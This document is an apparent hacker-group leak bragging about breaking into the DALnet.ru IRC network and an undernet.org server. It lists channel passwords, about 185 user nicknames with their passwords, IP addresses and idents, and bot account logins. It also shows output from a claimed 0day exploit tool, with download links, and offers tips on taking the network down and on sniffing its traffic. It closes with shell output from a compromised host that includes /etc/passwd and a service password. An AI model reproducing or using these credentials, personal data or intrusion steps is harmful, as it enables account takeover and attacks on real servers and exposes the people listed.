o0o0o0o AZZ-KIKRZ CREW PRESENTS o0o0o0o DALNET.RU ASSKICKING OR "KEEP IRCING ON DALNET DUMB FUCKS" PRIVATE SHIT! DO NOT DISTRO root@* /root# netstat -ap|grep ircd|wc -l 1337 1 ........................................ Introduction 2 ........................................ DALnet chan's TOPs 3 ........................................ DALnet bot's TOPs 4 ........................................ azzkikr.c 5 ........................................ Questions 6 ........................................ Shit to think on 7 ........................................ Last words {1}------------------------------------------------------{Introduction} DALnet RU is probably the biggest IRC network in Russia nowadays. It includes about 80 secure servers from all parts of Russia. Supports tons of useful features such as ChanService, NickService, MemoService (they suck). Has up to 5k lamobots, 3k gay channels and 50 ircops online. Mmmmmm and I love it! Actually, I have never been on DALnet RU since I dont like non-ssl networks. And one day I decided to visit it hopeing that it will be nice to me. So, here is the results of one-day ircing on dalnet.ru! {2}-------------------------------------------{DALnet.ru channel's TOPs} Channels - the most important part of any IRC server. Here is the lists of channels which I liked to chat on. TOP 30 OF THE MOST INTERESTING CHANNELS _____________________________________________ | # | Channel | ChanService password | +----+----------------+-----------------------+ | 01 | #cisco | _N0vgorod_ | | 02 | #matrix | spoonthereisno | | 03 | #ganjawars | ildus | | 04 | #Падонки | 1523 | | 05 | #Rastagoliki | srpth4fggg | | 06 | #pro.Line | f700p | | 07 | #otm | lbvf | | 08 | #Off | 999 | | 09 | #why | ufdyj1234 | | 10 | #TnP | kaka | | 11 | #dnd | sdfjhk12417zsdfhj1243 | | 12 | #sotovarish.ru | cnjxtnsht | | 13 | #astrock | 1vanh0e | | 14 | #astu | xcqLrd_17 | | 15 | #asu | arwen | | 16 | #downunder | arwen | | 17 | #shakespeare | myarwen | | 18 | #chi | battery | | 19 | #beseda | 3562355 | | 20 | #RHM | 3101245 | | 21 | #majest1c | DFuy87xQW | | 22 | #net-iskra | fgh567hgf | | 23 | #park-net | shurdukissues | | 24 | #guitars.ru | gjhjkm | | 25 | #Geroin | qwertyui | | 26 | #zerkala | qwertyui | | 27 | #HOROWOD | qwertyui | | 28 | #cs[hnt] | 372 | | 29 | #nfs[hnt] | 111 | | 30 | #1 | zxcvbnm | ``````````````````````````````````````````````` TOP 30 CHANNELS WHICH CAN BE ACCESSED THROUGH THEIR OPERS _______________________________________________________________ | # | Channel | Nickname | NickServ pwd | Access | +----+----------------+-----------------+--------------+--------+ | 01 | #web-hack | _Nosferatu_ | 1236701 | * | | 02 | #xakep | MICKEY-mOuse | nirvana | 100 | | 03 | #31337 | MICKEY-mOuse | nirvana | 100 | | 04 | #unixreally | Reptile | zaisik | * | | 05 | #linux | Reptile | zaisik | * | | 06 | #gods | magvai | magvaishe | 9500 | | 07 | #astrakhan | magvai | magvaishe | 10000 | | 08 | #fighters | a|L | 2000486 | 10000 | | 09 | #USSR | a|L | 2000486 | 10000 | | 10 | #magicchaos | a|L | 2000486 | 9000 | | 11 | #livejournal | stranger | naat | * | | 12 | #livejournal | Lord_Driver | arwen | 1000 | | 13 | #developer | Lord_Driver | arwen | 10 | | 14 | #programmers | Lord_Driver | arwen | 10 | | 15 | #delphi | Lord_Driver | arwen | 10 | | 16 | #PyuHbI | Lord_Driver | arwen | 5000 | | 17 | #coolcity | WereWo|f | Victorious | 10000 | | 18 | #saratov | WereWo|f | Victorious | 10000 | | 19 | #nblBo | satan | notdead | 10000 | | 20 | #iskra-love | spYder | 118 | 10000 | | 21 | #just.play | spYder | 118 | 10000 | | 22 | #just.fun | spYder | 118 | 9999 | | 23 | #<3 | spYder | 118 | 10000 | | 24 | #damn | sad_away | azimres | * | | 25 | #realworld | Scrap | denormed | * | | 26 | #irkutsk.ru | DJ | dimjeb | * | | 27 | #FiFa2004 | Coneri | xexexe | * | | 28 | #me4ta | Sady | azimres | * | | 29 | #viktorina | Robert | 010672 | * | | 30 | #cms | KattiSH | 070585 | * | ``````````````````````````````````````````````````````````````` We are too lazy to check all ~400 owned nicknames for accessable channels... So we will let you rule them as well as their channels bellow. {3}----------------------------------------------------{DALnet.ru bot's TOPs} IRC Bots... The most gay thing ever. What for people keep eggdrops on registered with ChanServ channels?! To move own asses higher in channel raitings? Huh? So lets make the fucking 10k botnet on dalnet.ru! _____________________________________________ | # | Bot nickname | Accounts (login/pass) | +----+----------------+-----------------------+ | 01 | SkyNet | extrn/asL12DnowayfF | | | | Lord_Driver/arwen | | | | _Nosferatu_/1236701 | | | | \/beeeee | | | | Demon/scooter | +----+----------------+-----------------------+ | 02 | Maf|bot| | boris/dhc9brkm | | | | kill_self/arta | | | | cat/GUEDT | | | | Sergi/1369666 | | | | Nemec/DIMka271289 | | | | Polinochka/Polinochka | | | | Elrond[H_E][AL]/qwerty| | | | butai/555 | | | | _Kirill_/Kirill | | | | FiglyMigly/psaFY | | | | Varlet/xbhbr | | | | netw0rm/900 | | | | Juve/123 | | | | addict/347 | | | | tata/kUTGU | | | | AntResh/505711 | | | | AQU./kNiWC | | | | Olesya/cjPPkC | | | | Nostra/123 | | | | ^elf^/123 | | | | AHT.HEO/999999999 | | | | vvn_/FfTVT | | | | Adept/RcwVs | | | | Ju/Juskin | | | | suicid/total | | | | djdracula/CryCK | | | | JokerD/FSRir | | | | Lumumba/55555 | | | | Flint/47859000 | | | | shams/BecFr | | | | _Kot/uLJxm | | | | DEN_is/120684DEN | +----+----------------+-----------------------+ | 03 | Combat | Akbat/darkbat2 | | | | diminuend/neverdeath | | | | Kain_/stat | | | | WiCK3D/glorious | | | | roll/defractor | | | | Alien_/tgis | | | | fanatic_/djdfy | +----+----------------+-----------------------+ | 04 | PADOHAK | Lord_Driver/myarwen | | | | JAG/frisker | +----+----------------+-----------------------+ | 05 | RoboCop | Lord_Driver/myarwen | | 06 | ircgod | \/beeeee | | 07 | ap6y3 | _Nosferatu_/1236701 | | 08 | Pedagog | Lord_Driver/arwen | | 09 | Romka | Pedro/89168508122 | ``````````````````````````````````````````````` {4}--------------------------------------------------------------{azzkikr.c} Someone has stolen your nickname?! Get it back useing the following fresh 0day tool! $ gcc -o azzkikr azzkikr.c -lz -static $ ./azzkikr -h irc.dalnet.ru -m 185 Linux/x86 hybrid/chimera IRCd remote decompress() memory-leak exploit by starx (starx@gmail.com) # Connection established # Triggering the vulnerability (this may take a while) ############### DONE # Grabbing NickService accounts... # Nick: sad # Password: sermiza # Nick: CAHEK # Password: gadina # Nick: Sady # Password: azimres # Ident: ~eggdrop@turbocompressor.com.ru # Channels: @#me4ta # Nick: a|L # Password: 2000486 # Ident: ~emirc@213.232.240.1 # Channels: +#squad @#chaos #fights # Nick: BUS # Password: ffff # Ident: ~fghd@ns.samara-gsm.ru # Channels: #fights # Nick: die # Password: анютка # Ident: ~die_hard_@dial-up6.san.ru # Channels: @+#hooligany @#pvs # Nick: spYder # Password: 118 # Ident: mNz@mendez.iskra-net.ru # Channels: #znakomstva #juventus #team-a @#just.fun #hatka #foto #iskra-cstrike #iskra-net # Nick: sad_away # Password: azimres # Ident: sad@217.65.211.47 # Channels: @#muppet_island @#me4ta @#great %#gebo4ku @#durdom @#damn @#capatob # Nick: vx # Password: static # Ident: a217-29-179-162.pppoe.mark-itt.net # Channels: +#fights # Nick: win_xp # Password: lithackk # Ident: ~xaoz@gateway01.mgsm.ru # Channels: #anekdot #sever #longhorn #actpaxahb # Nick: Stryker # Password: freedom # Ident: ~vs@213.80.144.57 # Channels: #actpaxahb # Nick: UNFOREST # Password: 8963 # Ident: ~UNFOREST@abissum.kna.ru # Channels: #fights # Nick: D`onz # Password: 135485527 # Ident: 123123@213.59.144.15 # Channels: #JAG #ghost # Nick: BoJIbg # Password: BoJIbg # Ident: ~pirch@ts1-a96.Astrakhan.dial.rol.ru # Channels: #astrock # Nick: ``` # Password: cbhtybdtymrbq # Ident: dobriy@62.183.100.138 # Channels: #actpaxahb #goblins # Nick: Lord_Driver # Password: arwen # Ident: mr_Driver@213.59.144.1 # Channels: @#shakespeare @#PyuHbI @#programmers #php @#livejournal #goblins @#developer @#cms #chip @#asu # Nick: Robert # Password: 010672 # Ident: robert@217.150.39.57 # Channels: @+#viktorina +#yMHuKu # Nick: dobriy # Password: cbhtybdtymrbq # Ident: dobriy@62.183.100.138 # Channels: #goblins #actpaxahb # Nick: Shantell # Password: peyjm0910 # Ident: pey@81.28.179.42 # Channels: #seconds @#my_tlt @+#fights # Nick: SATAN # Password: notdead # Nick: WereWo|f # Password: Victorious # Ident: Mistique@195.161.253.143 # Channels: @#saratov @#coolcity #q-100 # Nick: magvai # Password: magvaishe # Ident: xxx@213.80.169.37 # Channels: @#JAG @#astrakhan @#forex #actpaxahb # Nick: BlackDracon # Password: fire1 # Nick: Striker # Password: 190884 or phantom # Nick: MyXuHa # Password: .... (consists of russian chars) # Nick: diminuend # Password: smwasrealyrealywarning # Nick: diamant # Password: fdghjn # Nick: Adolf # Password: 870621345 # Nick: futsil # Password: heretic # Nick: Chaotic # Password: consul # Nick: uf0s # Password: 19832004 # Nick: xaozz # Password: 0124 or njnhb or ahsdfjlertxcsdfu82347fds123 # Ident: xaoz@gateway01.mgsm.ru # Channels: #mobiles #anekdot #longhorn # Nick: skydive # Password: 2000486 # Nick: MuHo3 # Password: 666999 # Nick: por # Password: bk.[f. (possible russian chars instead of dots) # Ident: alive@main.upstream.ru # Channels: #actpaxahb #goblins #cms # Nick: MICKEY-mOuse # Password: nirvana # Ident: d53b678a@213.234.193.75 # Channels: @#xakep #actpaxahb # Nick: DJ # Password: dimjeb # Ident: dimk2000@195.206.50.86 # Channels: @#irkutsk.ru # Nick: Hound_Dog # Password: 123456 # Nick: SIT # Password: 123 # Nick: KattiSH # Password: 070585 # Ident: KattiSH@213.80.167.109 # Channels: #jakarta #jakart|zone @#dasha @#cms +#dsl #0mut %#JAG #actpaxahb # Nick: NightWolf # Password: pass # Ident: knight@dial-up236.san.ru # Channels: @#coolcity # Nick: xapek # Password: ircbare # Nick: Chap_ # Password: chapitis # Nick: JAG # Password: 91827 # Nick: FatFoot # Password: k888ea27 # Nick: Isaev # Password: Isaev # Nick: Vsevolod # Password: 12345 # Nick: Polinochka # Password: Polinochka # Ident: xex@81.195.220.178 # Nick: |ceBep| # Password: 1702 or 705884 # Nick: ibiza # Password: 25031985 # Nick: realman # Password: 9168333899 # Nick: Spun` # Password: satana # Nick: Prizrak # Password: 345 # Nick: mcnight # Password: mcnight@istel.ru # Nick: Well-aimed # Password: Well-aimed # Nick: `6apakyga # Password: nkopaj7t # Nick: BoMz # Password: 1401622 # Nick: ZlayaNuf-Nufa # Password: ge7or9g # Nick: Geland # Password: sFGbfDXeo! # Nick: Coneri # Password: xexexe # Ident: Night@coneri.iskra-net.ru # Channels: @#maryno @#Kitty @#juventus #iskra-net @#FiFa2004 @#Bianconeri @#bad_company # Nick: cat # Password: GUEDT # Ident: cat@212.12.5.56 # Nick: kill_self # Password: arta # Nick: DMItriy # Password: DM7894 # Nick: Korozyab # Password: SuOiLeXa # Nick: Helgi # Password: Olegus # Nick: GrafFox # Password: 4848866enya # Nick: Sergi # Password: 1369666 # Ident: ET@0-1-2-c8-22-c2.rt.user.ru # Nick: Johnny # Password: password # Nick: Take-oFF # Password: ,kbfnm # Nick: Reptile # Password: zaisik # Ident: zais80@213.248.16.193 # Channels: @#unixreally #rusunix %#linux # Nick: stranger # Password: naat # Ident: admin@vpn.spacegate.com.ua # Channels: #linux #astrock @#livejournal #goblins #xakep +#pc4all #bugtraq #actpaxahb @#astu # Nick: Delirium # Password: Deliririum2001 # Nick: Scrap # Password: denormed # Ident: Scrap@213.80.144.57 # Channels: %#Team|All @#realworld @#matrix # Nick: Dantes # Password: dantes # Nick: WiCK3D # Password: qwedc # Ident: emc1@81.28.174.169 # Channels: +#fightworld +#fights # Nick: Malmsteen # Password: pizdecguitarist # Ident: Malmsteen@proxy.san.ru # Channels: +#pvs @#guitars.ru # Nick: zeO # Password: misfits # Nick: |Veles| # Password: rfktylekf # Nick: roll # Password: reset # Nick: _Nosferatu_ # Password: 1236701 # Ident: nosferatu@nosferatu.firstvds.ru # Channels: #naumen +#ghc #rst %#web-hack %#openwww %#web # Nick: SpideR # Password: cnjnhb # Nick: Alien_ # Password: 30187 # Nick: gallant # Password: citadel # Nick: \ # Password: beeeee # Ident: junkieXL@thj.astrakhan.ru # Channels: @#actpaxahb @#astrakhan #php # Nick: WildDish # Password: 170481 # Nick: ester # Password: pasStR_31m # Nick: RedBaron # Password: beer # Nick: n0thing # Password: lcjsu # Ident: l@bnc.antimail.ru # Channels: #jakarta +#carnage.ru #bugtraq #mafia # Nick: fanatic_ # Password: 1 # Nick: DJ # Password: dimjeb # Nick: Hound_Dog # Password: 123456 # Nick: SIT # Password: 123 # Nick: KattiSH # Password: 070585 # Nick: NightWolf # Password: pass # Nick: xapek # Password: ircbare # Nick: Chap_ # Password: chapitis # Nick: JAG # Password: 91827 # Nick: FatFoot # Password: k888ea27 # Nick: Isaev # Password: Isaev # Nick: Vsevolod # Password: 12345 # Nick: reaper # Password: qwerty123 # Nick: [ToXa] # Password: 123654 # Nick: ZooS # Password: lbvf # Nick: OiUY # Password: 1986 # Nick: Dyor # Password: oikaketayume # Nick: Counselor # Password: 442742441 # Nick: Gloria # Password: ghjuf # Nick: Mask # Password: zasxc # Nick: [SAiNT] # Password: 9741879 # Nick: sergi # Password: 1369666 # Nick: souldoubt # Password: souldoubt666 # Nick: Marader # Password: 1a2b3c4d # Nick: CbIP-6OP # Password: nasa # Nick: Simona # Password: SimonAMar77 # Nick: a # Password: 1702 # Nick: vah # Password: shadow # Nick: Rudel # Password: ddd # Nick: Anarhist # Password: rainger # Nick: KeNzo # Password: 1401622 # Nick: cRp # Password: ylosdpqq # Nick: BMW # Password: 123iii # Nick: Prozac # Password: butterfly # Nick: kcp # Password: lolka # Nick: FeF # Password: qwerty # Nick: secure # Password: ildus # Nick: TIFOZI # Password: # Nick: LeGuS # Password: pf775 # Nick: T1mur # Password: lub130k5dnb # Nick: Radn3r # Password: 356 # Nick: Jack_Devil # Password: blackisle # Nick: Merzavec # Password: 8403543 # Nick: KaJlDblpb # Password: 12345 # Nick: eXide # Password: 334599 # Nick: Exp3rT # Password: 123 # Nick: [WAR] # Password: ecology # Nick: _BOPOH_ # Password: scooter # Nick: TR0LL # Password: 1234 # Nick: MHE_Bce_nox # Password: noXpeHa # Nick: Chaser # Password: 3453518 # Nick: Bright # Password: Livny # Nick: Pedro # Password: 89168508122 # Nick: shaffka # Password: 1357924681988 # Nick: Specialist # Password: Intert # Nick: Nomy13 # Password: HJLJc # Nick: Geland # Password: sFGbfDXeo! # Nick: Config # Password: postaldude # Nick: Frenk # Password: Frenk # Nick: V1p3r # Password: mart # Nick: Chikan # Password: qwerty # Nick: Alkor # Password: alkor6581959 # Nick: [noname] # Password: raja # Nick: Enzo # Password: Wales # Nick: KoMMyHuCT # Password: KoMMyHuCT # Nick: Ferrow # Password: itcnfrjdf # Nick: Apxu # Password: mirc[Apxu] # Nick: Vodila # Password: 3460904 # Nick: Ferz # Password: 123 # Nick: eXproLer # Password: alex3103 # Nick: st0ne # Password: qazwsxedc # Nick: Dakmor # Password: 3Gw8Sj # Nick: MenJ # Password: 98917032lelik # Nick: Astarta # Password: Cdbneirf^) # Nick: bj # Password: NoThing # Nick: Sandro # Password: zzzzz # Nick: Rudel # Password: ddd # Nick: DYNAMIX # Password: klvjlskvjkljsjvkdnmsjf # Nick: NaPkoLIIa # Password: napkoz # Nick: MacTepok # Password: sexsex # Nick: [TermiT] # Password: a9879555arspcpa118a9879555arsCKQrrVbA3492355a9879555ars # Nick: pavlin # Password: 000001 # Nick: Kriogen # Password: morozkrasnos # Nick: Aleksei # Password: 311994 # Nick: Scythian # Password: killtheking # Nick: mudaka # Password: rtut # Nick: Fer # Password: # Nick: _^Aplikacia^_ # Password: 1143 # Nick: M00k # Password: m00kalex # Nick: # IP: 82.199.96.132 # Password: 111 or 000 # Nick: # IP: 217.26.10.90 # Password: sm151p # Nick: # IP: 213.87.15.226: # Password: dd437 # Nick: # IP: 81.28.174.116 # Password: 1234567 # Nick: # IP: 213.80.136.148 # Password: 192871 # Nick: # IP: 212.57.160.87 # Password: qwerty # Nick: # IP: 213.59.103.117 # Password: 870621345 # Nick: # IP: 83.149.19.2 # Password: 0124 # Done. 185 nicknames grabbed $ mv azzkikr ../htdocs/ Links: http://fri.labfire.com/azzkikr http://movil.mardom.com/azzkikr {5}-----------------------------------------------------------------------------{Questions} (Q) why not IRCNET.ru network? Is it more secure? (A) nope, it's not. Just have a close friends there. (Q) why didnt you post "TOP 10 OF THE MOST OWNED IRCOPS"? (A) well, posting such sensivity information as well as irc-servers root passwords may lead to 'chaos' on dalnet. (Q) Im not hacker, just a little ddos kiddie. How can I shut the fucking dalnet network down? (A) kill irc.chatnet.ru. Actually, even kiddie can own dalnet through such servers as irc.blood.ru with wu-ftpd 2.6.0 installed. (Q) But how could I sniff the whole dalnet network if I got only one ircd hacked? (A) ircds are linked with compressed but not crypted connections. So you can sniff anything that is going through owned server. (Q) Do you sniff dalnet.ru now? (A) yes. And we always will. (Q) Who are you? (A) I dont want you to know. (Q) Why? (A) I dont need fame. (Q) Everyone need. (A) I dont care {6}---------------------------------------------------------------------{Shit to think on} > uname -a FreeBSD www.undernet.org 4.7-RELEASE FreeBSD 4.7-RELEASE #0: Wed Oct 9 15:08:34 GMT 2002 root@builder.freebsdmall.com:/usr/obj/usr/src/sys/GENERIC i386 > w 3:58PM up 198 days, 21:18, 1 user, load averages: 0.68, 0.64, 0.73 USER TTY FROM LOGIN@ IDLE WHAT Frank p0 p179.m0.cpiak1-n 3:06PM 10 -sh (sh) > cat /etc/passwd # $FreeBSD: src/etc/master.passwd,v 1.25.2.5 2002/02/10 11:43:37 obrien Exp $ # root:*:0:0:Charlie &:/root:/usr/local/bin/bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin bind:*:53:53:Bind Sandbox:/:/sbin/nologin uucp:*:66:66:UUCP pseudo-user:/var/spool/uucppublic:/usr/libexec/uucp/uucico xten:*:67:67:X-10 daemon:/usr/local/xten:/sbin/nologin pop:*:68:6:Post Office Owner:/nonexistent:/sbin/nologin www:*:80:80:World Wide Web Owner:/nonexistent:/sbin/nologin nobody:*:65534:65534:Unprivileged user:/nonexistent:/sbin/nologin sjs:*:1000:1000:Steven Schecter:/home/sjs:/usr/local/bin/bash dave:*:1001:1001:David A:/home/dave:/usr/local/bin/bash sshd:*:22:22:sshd privilege separation:/usr/local/empty:/nonexistent ferrago:*:1002:1002:Jonathan Gilpin:/home/ferrago:/usr/local/bin/bash valcor:*:1005:1005:Valcor:/home/valcor:/usr/local/bin/bash magic:*:1006:1006:magic:/home/magic:/usr/local/bin/bash sengaia:*:1007:1007:sengaia:/home/sengaia:/usr/local/bin/bash simba:*:1008:1008:User &:/home/simba:/usr/local/bin/bash evilone:*:1009:1009:evilone:/home/evilone:/usr/local/bin/bash scorpion:*:1010:1010:scorpion:/home/scorpion:/usr/local/bin/bash mysql:*:88:88:MySQL Daemon:/var/db/mysql:/sbin/nologin carlillos:*:1011:998:carlillos:/home/carlillos:/usr/local/bin/bash jeep:*:1012:1014:User &:/usr/web/www.user-com.undernet.org:/bin/sh fastkiller:*:1013:1015:User &:/home/fastkiller:/bin/sh Frank:*:1014:1016:User &:/home/Frank:/bin/sh banjo:*:1015:1017:User &:/home/banjo:/bin/nologin > last Frank ttyp0 202.180.106.179 Sun Nov 21 15:06 still logged in Frank ttyp3 202.180.97.68 Sun Nov 21 13:23 - 15:34 (02:10) Frank ttyp0 202.180.106.39 Sat Nov 20 12:45 - 15:07 (02:22) scorpion ttyp0 81.192.184.97 Sat Nov 20 06:13 - 06:22 (00:09) Frank ttyp4 202.180.101.111 Fri Nov 19 10:25 - 14:21 (03:55) Frank ttyp0 202.180.99.222 Fri Nov 19 04:04 - 11:37 (07:32) ferrago ttyp0 84.12.5.9 Thu Nov 18 19:14 - 19:22 (00:08) simba ttyp3 81.108.15.159 Thu Nov 18 09:45 - 14:08 (2+04:22) simba ttyp3 81.108.15.159 Thu Nov 18 09:39 - 09:43 (00:04) Frank ttyp0 202.180.100.124 Thu Nov 18 05:58 - 10:35 (04:36) Frank ttyp0 202.180.101.140 Wed Nov 17 04:13 - 10:55 (06:41) Frank ttyp0 202.180.108.167 Wed Nov 17 01:29 - 03:42 (02:12) Frank ttyp0 202.180.111.252 Mon Nov 15 21:18 - 01:19 (04:00) simba ttyp0 81.108.15.159 Sun Nov 14 09:04 - 09:35 (00:30) magic ttyp0 213.142.21.114 Wed Nov 10 04:11 - 04:13 (00:01) magic ttyp0 213.142.21.114 Mon Nov 8 08:14 - 08:30 (00:16) Frank ttyp3 202.180.106.42 Fri Nov 5 17:32 - 21:46 (04:13) Frank ttyp0 202.180.100.133 Fri Nov 5 15:37 - 18:12 (02:35) magic ttyp0 213.142.21.114 Thu Nov 4 11:05 - 11:14 (00:09) Frank ttyp0 202.180.106.221 Tue Nov 2 10:04 - 01:54 (15:50) magic ttyp0 argon.jibh.net Tue Nov 2 04:31 - 04:31 (00:00) simba ttyp3 81.108.15.159 Mon Nov 1 14:51 - 15:35 (00:44) Frank ttyp0 202.180.106.93 Mon Nov 1 14:48 - 17:09 (02:20) wtmp begins Mon Nov 1 14:48:33 EST 2004 > cd /usr/local/etc/apache > ls access.conf access.conf-dist httpd.conf httpd.conf-dist httpd.conf.bak magic magic-dist mime.types mime.types-dist srm.conf srm.conf-dist > grep ServerName httpd.conf # ServerName allows you to set a host name which is sent back to clients for #ServerName new.host.name # to the server the response is coming from) it will use ServerName and # ServerName dummy-host.example.com ServerName www.undernet.org ServerName radio.undernet.org ServerName www.user-com.undernet.org # ServerName www.coder-com.undernet.org > ls -al /root total 834 drwxr-xr-x 4 root wheel 512 Oct 24 2003 . drwxr-xr-x 15 root wheel 512 Aug 21 14:06 .. -rw------- 1 root wheel 6172 May 6 2004 .bash_history -rw-r--r-- 2 root wheel 802 Jul 8 2002 .cshrc -rw------- 1 root wheel 359 Jul 16 2002 .history -rw-r--r-- 1 root wheel 142 Jul 8 2002 .klogin -rw-r--r-- 1 root wheel 297 Jul 8 2002 .login -rw------- 1 root wheel 14 Oct 24 2003 .mysql_history -rw-r--r-- 2 root wheel 251 Jul 8 2002 .profile drwx------ 2 root wheel 512 Nov 12 2002 .ssh drwxr-xr-x 6 sjs sjs 8192 Oct 3 2003 openssh-3.7.1p2 -rw-r--r-- 1 root wheel 792280 Sep 22 2003 openssh-3.7.1p2.tar.gz > ls -l /usr/home/magic total 68 drwxr-xr-x 2 magic magic 1024 Jan 1 2003 User-com drwxr-xr-x 2 magic magic 512 Jan 7 2003 coder-com -rw-r--r-- 1 root magic 778 Jan 7 2003 footer.php -rw-r--r-- 1 magic magic 13235 Feb 18 2004 gnuworld.gif -rw-r--r-- 1 magic magic 10663 Oct 31 2002 halloween.gif -rw-r--r-- 1 root magic 6356 Jan 7 2003 header.php -rw-r--r-- 1 root magic 683 Jan 7 2003 main.css -rw-r-xr-x 1 magic magic 799 Jun 22 05:26 mysqlbackup -rw-r--r-- 1 magic magic 20166 Aug 14 2003 nasa.gif drwxr-xr-x 2 magic magic 512 Feb 9 2003 public_html drwxr-xr-x 3 root magic 512 Jun 4 2003 temp -rw-r--r-- 1 root magic 0 Jun 5 2003 undernet.sql lrwxr-xr-x 1 root magic 30 Sep 13 2002 www.undernet.org -> /usr/web/www.undernet.org/www/ > cat /usr/home/simba/public_html/sc_serv.conf ; SHOUTcast Distributed Network Audio Server configuration file ; Copyright (C) 1998-2002 Nullsoft, Inc. ; All Rights Reserved. ; Last modified Jan 16 2002 ; If you want to manage multiple configurations, just copy ; this file to another name, and run sc_serv with that name ; such as: ; sc_serv.exe sc_leet.conf ; *************************** ; Required stuff ; *************************** ; MaxUser. The maximum number of simultaneous listeners allowed. ; Compute a reasonable value for your available upstream bandwidth (i.e. if ; you have 256kbps upload DSL, and want to broadcast at 24kbps, you would ; choose 256kbps/24kbps=10 maximum listeners.) Setting this value higher ; only wastes RAM and screws up your broadcast when more people connect ; than you can support. MaxUser=200 ; Password. While SHOUTcast never asks a listener for a password, a ; password is required to broadcast through the server, and to perform ; administration via the web interface to this server. This server should ; consist of only letters and numbers, and is the same server your broadcaster ; will need to enter in the SHOUTcast Source Plug-in for Winamp. THIS VALUE ; CANNOT BE BLANK. Password=sjsnigga ; PortBase. This is the IP port number your server will run on. The ; value, and the value + 1 must be available. If you get a fatal error when ; the DNAS is setting up a socket on startup, make sure nothing else on the ; machine is running on the same port (telnet localhost portnumber -- if you ; get connection refused then you're clear to use that port). Ports < 1024 ; may require root privledges on *nix machines. The default port is 8000. PortBase=8000 > {7}-{Last words} Well, you can hope that everything that was shown above is fake, believe IRC opers that their irc-servers have not been ever owned and keep ircing on popular non-ssl networks. But remember, we are still watching you. Your dumb ass is on candid camera. PS. if we didnt post anything about well known people (like rst guys) it doesnt mean that they are not being sniffed. azzkikrz crew / azzkikrz@gmail.com